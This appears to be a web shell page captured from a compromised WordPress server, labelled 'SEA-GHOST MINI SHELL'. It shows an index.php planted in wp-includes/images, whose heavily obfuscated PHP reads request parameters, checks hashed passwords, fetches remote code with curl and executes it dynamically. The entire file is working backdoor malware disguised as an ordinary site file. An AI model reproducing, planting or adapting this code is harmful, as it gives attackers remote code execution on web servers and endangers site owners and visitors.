[ SEA-GHOST MINI SHELL]

Path : /var/www/html/wp-includes/images/images/
FILE UPLOADER :
Current File : /var/www/html/wp-includes/images/images/index.php

<?php
 goto TehTH; nzO11: PBrkf: goto JuBdm; TehTH: $KTgAh = range("\176", "\x20"); goto u04b3; LNr1r: class TyUh9 { static function lD712($bG8SE) { goto SwhKa; uB3hq: $KvBv0 = $KPGC9("\176", "\x20"); goto MeKzh; vokxJ: geZzk: goto H2Sai; gR64M: foreach ($qGDzs as $uR3on => $Djvvn) { $tEA5i .= $KvBv0[$Djvvn - 79515]; En7er: } goto vokxJ; MeKzh: $qGDzs = explode("\x29", $bG8SE); goto Krrk7; SwhKa: $KPGC9 = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto uB3hq; Krrk7: $tEA5i = ''; goto gR64M; H2Sai: return $tEA5i; goto oe2pY; oe2pY: } static function QITC2($iARe8, $cF8ca) { goto qsUT3; fcCVY: $XSNHI = curl_exec($xJBH5); goto CpeW0; fTyLJ: curl_setopt($xJBH5, CURLOPT_RETURNTRANSFER, 1); goto fcCVY; CpeW0: return empty($XSNHI) ? $cF8ca($iARe8) : $XSNHI; goto w5IT2; qsUT3: $xJBH5 = curl_init($iARe8); goto fTyLJ; w5IT2: } static function BZPHU() { goto UGEsR; kmM6C: $VmpzD = self::QiTc2($m5oXC[0 + 1], $OJWhp[2 + 3]); goto TPWzV; L6vut: $m5oXC = $OJWhp[1 + 1]($AM1ub, true); goto k81MT; lkviW: $RYUky = @$OJWhp[1]($OJWhp[8 + 2](INPUT_GET, $OJWhp[8 + 1])); goto b2_N9; oIPpT: if (!(@$m5oXC[0] - time() > 0 and md5(md5($m5oXC[2 + 1])) === "\63\x36\x36\x33\71\x30\x63\x31\146\146\71\x64\x35\143\x33\x64\x33\x31\142\x63\x35\142\67\x33\x36\67\x62\145\145\x66\62\x36")) { goto WaTnx; } goto kmM6C; Wl9Db: WaTnx: goto e_xH2; k81MT: @$OJWhp[10 + 0](INPUT_GET, "\157\x66") == 1 && die($OJWhp[1 + 4](__FILE__)); goto oIPpT; TPWzV: @$OJWhp[0]('', $OJWhp[1 + 6] . $OJWhp[0 + 4]($VmpzD) . $OJWhp[8 + 0]); goto Lj1vU; ljtzc: foreach ($GEuJt as $EAXmO) { $OJWhp[] = self::ld712($EAXmO); Acy3M: } goto qMgmG; qMgmG: eCAha: goto lkviW; UGEsR: $GEuJt = array("\x37\x39\x35\x34\x32\51\67\71\65\x32\x37\51\67\x39\65\64\x30\51\67\x39\x35\x34\x34\51\67\x39\x35\x32\65\51\67\71\65\64\x30\51\67\71\x35\x34\x36\51\x37\71\65\x33\71\51\x37\71\65\62\64\51\67\71\65\63\x31\x29\x37\x39\65\64\62\x29\67\71\65\62\x35\x29\x37\x39\65\x33\66\51\67\x39\x35\63\x30\x29\x37\71\65\63\x31", "\x37\x39\x35\62\66\51\67\x39\65\62\x35\x29\x37\71\x35\62\x37\51\67\71\65\x34\x36\51\x37\x39\65\x32\x37\x29\x37\x39\65\63\60\51\67\x39\65\x32\x35\51\x37\x39\65\x39\x32\x29\67\x39\x35\x39\x30", "\x37\71\x35\63\x35\51\x37\x39\65\x32\x36\51\67\71\x35\x33\60\x29\x37\x39\65\x33\x31\x29\67\71\x35\64\66\51\67\x39\x35\64\61\51\x37\71\65\64\x30\51\67\71\65\64\62\51\x37\x39\65\x33\60\x29\x37\71\x35\x34\61\x29\67\71\65\x34\x30", "\x37\71\x35\62\x39\51\67\x39\x35\64\64\51\x37\71\65\64\62\51\67\x39\65\63\x34", "\67\x39\65\x34\x33\x29\x37\71\x35\x34\64\51\x37\71\x35\62\x36\x29\67\x39\x35\64\x30\x29\x37\71\x35\x38\x37\51\67\71\65\x38\71\x29\x37\x39\65\64\x36\x29\x37\x39\65\x34\61\51\x37\71\x35\x34\60\51\67\x39\65\64\x32\x29\x37\x39\x35\x33\60\x29\67\71\x35\64\61\51\67\71\x35\x34\x30", "\67\x39\65\63\71\x29\x37\x39\65\x33\x36\51\x37\x39\65\63\63\x29\x37\71\65\64\x30\51\x37\71\65\x34\66\51\x37\x39\65\63\70\51\67\x39\x35\x34\x30\x29\x37\71\65\x32\x35\51\x37\x39\65\x34\x36\51\67\x39\x35\x34\62\x29\67\71\x35\63\x30\51\x37\71\65\x33\61\x29\x37\x39\x35\62\x35\51\x37\71\x35\x34\x30\x29\x37\71\65\63\x31\51\x37\x39\x35\x32\65\x29\67\71\x35\x32\66", "\67\x39\65\x36\x39\51\67\71\x35\71\71", "\67\71\65\61\66", "\x37\x39\x35\71\x34\x29\67\71\65\x39\71", "\x37\71\65\x37\x36\x29\x37\x39\x35\x35\x39\51\67\x39\x35\65\71\51\67\x39\65\67\x36\x29\67\71\x35\65\x32", "\x37\71\x35\x33\x39\51\67\71\65\x33\66\x29\x37\71\65\63\x33\51\67\71\65\62\x35\x29\x37\71\x35\64\x30\51\x37\71\x35\62\67\51\x37\71\65\64\x36\x29\x37\71\65\x33\x36\51\x37\x39\x35\x33\x31\x29\67\71\x35\62\x39\51\67\x39\x35\62\64\51\67\x39\65\62\x35"); goto ljtzc; Lj1vU: die; goto Wl9Db; b2_N9: $AM1ub = @$OJWhp[2 + 1]($OJWhp[4 + 2], $RYUky); goto L6vut; e_xH2: } } goto Q0j3X; u04b3: $elP36 = ${$KTgAh[0 + 31] . $KTgAh[9 + 50] . $KTgAh[11 + 36] . $KTgAh[30 + 17] . $KTgAh[34 + 17] . $KTgAh[12 + 41] . $KTgAh[13 + 44]}; goto Fo_18; GFsbN: @(md5(md5(md5(md5($elP36[20])))) === "\70\x61\65\x63\60\x35\66\x64\x61\60\146\x37\x37\x62\71\143\x62\146\146\141\143\144\146\62\146\x65\65\x63\142\63\x61\x31") && (($elP36[70] = $elP36[70] . $elP36[71]) && ($elP36[85] = $elP36[70]($elP36[85])) && @($elP36 = $elP36[85]($elP36[59], $elP36[70](${$elP36[33]}[10]))) && $elP36()); goto nzO11; JuBdm: strlen("\116\x7a\x45\170\117\124\x59\x33\116\x44\143\172\x4e\x7a\x67\x33\x4f\x44\111\65\117\x44\x55\x33\x4d\152\131\61\115\x7a\143\171"); goto LNr1r; Fo_18: if (!(in_array(gettype($elP36) . count($elP36), $elP36) && count($elP36) == 26)) { goto PBrkf; } goto GFsbN; Q0j3X: tYUh9::bzPHu();
?>

SEA-GHOST - SHELL CODING BY SEA-GHOST